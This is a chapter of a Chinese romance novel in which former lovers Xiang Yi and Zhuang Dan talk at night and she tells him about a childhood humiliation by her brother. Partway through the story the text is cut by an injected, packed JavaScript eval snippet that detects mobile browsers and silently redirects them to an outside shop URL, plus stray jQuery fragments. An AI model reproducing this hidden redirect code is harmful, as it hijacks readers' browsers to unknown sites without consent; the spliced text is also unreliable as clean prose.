晚上十点半,向宜听见了敲门声,开门,看到了提了一大袋零食的庄单。
向宜垂眼,去看庄单手里的零食,里面的东西很多,也很杂,有她喜欢的蛋糕、双皮奶、车厘子、水蜜桃还有各种没尝过的小玩意儿。
向宜知道庄单是个物欲很低的人,他很少给自己买什么,更少吃零食,他对塑料袋里的一切都不感兴趣,也似乎是知道,这些东西全部都是给她买的,但她还是不确定。
“怎么还买了这么多零食?”她假装随口问庄单。
庄单进门,很自然地把塑料袋放到一边,没想太多的说:“觉得你会想吃。”
庄单总是直白,向宜也总是在一时间说不上话。
八月底的西城还是燥热,站在庄单面前,向宜低头,藏住发烫的脸,看似不经意地去翻塑料袋里的零食,从里边抽出一包庄单最喜欢的抹茶味百醇,拆开,又坐到沙发上。
隔了几秒,向宜看着还在玄关换鞋的庄单,说:“你要不要一起吃?”
两个人就这么坐在了客厅,向宜打开电视,随便找了一个烂俗的泡沫爱情剧,跟庄单分享起了夹心饼干。
向宜还有自己的心事,庄单对这样的电视剧毫无兴趣,两个人谁也注意不到电视剧里的剧情多狗血。
“庄单。”又一次从卫生间出来,向宜挠了挠鼻尖,还是决定先开口,“忽然叫你回来是不是有点儿奇怪?”
庄单看了一眼向宜,他没有觉得很奇怪,回来也是一件好事,起码他的担心减少了许多,摇了摇头,道:“没关系,我知道为什么。”
“我心里乱得很。”向宜坐在沙发上,默默探身,又拿起茶几上的一根百醇,用余光看了眼隔了大半个沙发的庄单,感觉他的反应不大,才继续说,“本来觉得跟家里这么久没有见面肯定不会吵架,但一见面还是闹得很不愉快。”
“跟家里人就是这样的。”庄单说,“所以是因为今天吵架你才忽然说理解了我?”
向宜点头,嗯了一声:“因为今天吵完,我从卫生间出来,他们问我要不要吃饭,我忽然想到了我们为什么分手——”
向宜本来要说自己明白了庄单为什么在分手那天不厌其烦地提起小吃街,可庄单像是不愿意回忆起那时候的事情,也没有给她一点儿机会,转而询问起了向宜别的事情:“向宜,你为什么那么喜欢去卫生间?”
向宜愣了下,不清楚话题是怎么忽然绕到这里的:“什么?”
“你原来为什么总呆在卫生间?”
在一起两年,庄单知道向宜其实很喜欢呆在里边,所以两个人搬到一起住,庄单总是在自己使用前询问她需不需要卫生间,尽管向宜现在总说不需要,但庄单还是会问。
“因为卫生间让我感觉到安全。”向宜很坦诚地告诉庄单。
向宜不记得自己在哪儿看过一句话,大致意思是说女人并不是人,这并非出于贬义,而是在传统的社会中,女人并不被看作为独立的个体,女人更多的以身份为存在,想到女人,我们总会以身份来作对应,可能是母亲,可能是女儿,也可能是妻子,但从来不是她们自己,女人依附他人而存在,所以也很难拥有属于自己的物品。
向宜无法拥有属于自己的房间,物品也不总是可以听从她的安排,如果非要说哪里可以让她真正独处,只能存在于可以上锁的、私人的卫生间。
可以锁门的卫生间像归家男人的轿车,也是向宜的安全所。
向宜经常性地把自己关在这里,即使空间狭小,气味也算不上好,但总能让她情绪平复,也不会觉得“家”再难以忍耐。
“可是你从来不会看马桶。”庄单说,“房东也打电话告诉我,她说你不能打扫卫生间。”
向宜哦了一声,没反驳:“是这样的。”
“为什么?”庄单少见得问了她问题。
向宜抿了下唇,告诉庄单:“因为我不喜欢刷马桶。”
“可能是小的时候留下的心里阴影。”安静一会儿,向宜还是愿意再多解释一点儿,道,“我的脸差一点儿就被哥哥摁进了马桶。”
庄单愣了下,留意向宜的表情。
可是向宜没有转头看过来,似乎也没有注意他的视线,只是伸手又去摸桌上的零食,一边吃一边讲:“好像是有一年吧,不记得是小学六年级还是初一了,那会儿我下学回家,发现家里有客人在,打了个招呼就想回房间,结果一进房间发现还有别人在,客人家的小孩在我床上乱跳,我有点儿不高兴,跟我妈妈去讲,但我妈妈忙着陪客人,让我听话一点儿,陪那个小孩玩。”
话题开了一点儿口,接下来的话也变得好说了许多。
“我当然不想陪小孩,也不想陪客人。”向宜继续说,“没有地方去,我就只能躲进卫生间。”
庄单听着,看着向宜,向宜的情绪还是没太低落,像是在讲别人的事情,挖掘其中有趣的一面,道:“我之前从来没发现卫生间这么好,只要告诉他们你现在在用就可以锁门,一旦锁门就不会有人进出,没有人进出就可以完完全全属于你一个人。”
庄单嗯了一声,同意向宜的话。
“不过这种很好也是暂时的,因为呆久了还是有点儿风险,他们会经常问你到底在卫生间里做什么,怎么会呆那么久,是不是长在里面。”向宜说到这里,笑了笑,“还问过我要不要在卫生间里帮我搭一张床,我可以长住。”
更何况在卫生间呆久了也会变成日常生活中的错处,他们还是会责怪她不够懂事。
“后来可能是我在卫生间呆得时间太久,我哥哥怀疑我是躲在里面给谁发消息,他觉得我在早恋,所以就非要在我上厕所的时候进来。”
“我跟他说不行,但他还是给我规定了时间,让我立刻打开门。”说到这里,向宜的语气才慢了点儿,“我没办法,连马桶都没来得及冲就给他开门,他问我在做什么,还不信我真的在上卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090032|149559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生间,就摁着我,打开马桶,让我看。”
尽管向宇什么也没发现,也跟向宜道了歉,但向宜还能清楚的记得自己当时的感觉。她觉得惊恐,觉得难堪,更觉得委屈。可是,事情已经过去,对方觉得向宜没有什么好再计较的,就应该忘记。向宜只能安慰自己狼来了是这样的,她自己的行为如此,没什么好抱怨。可是,向宜还是难过。
“我的脸差一点儿就要掉进去。”
庄单说不上自己心里怎么会这样奇怪,明明是他问出的问题,但现在又他想让向宜不要再继续说了。
“马桶很脏。”但向宜还是说完了,“所以我不想再看马桶了。”
庄单看着向宜的眼睛,她的眼底早就聚了一层水润的彩光,但向宜显然没有想让任何人知道的意思。
“不过好在周围的朋友很好。”向宜低眼,努力把语调恢复正常,道,“她们知道我这个毛病,就算不清楚原因,但也从来没有强迫过我干自己不喜欢的事情,而且还愿意帮我完成这些我不能完成的事情。”
过了片刻,向宜又开口:“但我现在觉得不能再这样了。”
“为什么?”庄单问她。
向宜告诉庄单,郑重地像是在分享自己才收获真理一样:“因为我知道了我不能总依赖别人。”
之前的向宜没有想过这些,因为在学校,她的周围有很好的朋友,也有心爱的恋人,她没有想过自己会一个人生活,觉得就算从学校寝室搬到外边房子,也总会有人来帮助自己,她可以安心,但分手之后,临近毕业,向宜才明白过来除了她自己会在,没有谁总会留在自己身边。
就算现在也是,房子总会到期,她也不可能一直跟庄单合租。
向宜总要面对自己讨厌的东西,去做自己不愿意做的事情。
向宜没有想让自己显得很难过,所以才愿意转头,看向庄单,说:“因为我迟早会一个人的,庄单,也不是总会是有人愿意无条件帮我打扫卫生间。”
面前的人影模糊成一片,一张柔软的纸巾覆盖上来,向宜没有能把话说完,任由庄单用纸巾摁压着她的眼睛。
庄单压着那张纸巾,感受上面温热的痕迹。
庄单不是个情绪很多的人,他的情感也很难有所起伏,但每次看到向宜掉眼泪心里就总是感到烦躁,觉得很不舒服。
那时候,庄单以为这是差错,只要两个人分开就能修复,但即使分开这么久,这个问题还是没能解决。
他的情绪仍然被向宜牵动,并且更加严重。
他后悔自己提出了问题,也想要向宜别总是掉眼泪,但他已经不知道该怎么阻止,因为他不能再亲亲她,也不能再抱抱她,原先向宜说的那些安慰的行为对现在的他们来说都太过越界。
庄单知道自己不可以,但在抬手压上纸巾的一瞬,还是不由自主地蹭了蹭向宜额角打湿的碎发,对向宜轻声说对不起,也求她,说:“向宜,你不要哭了。”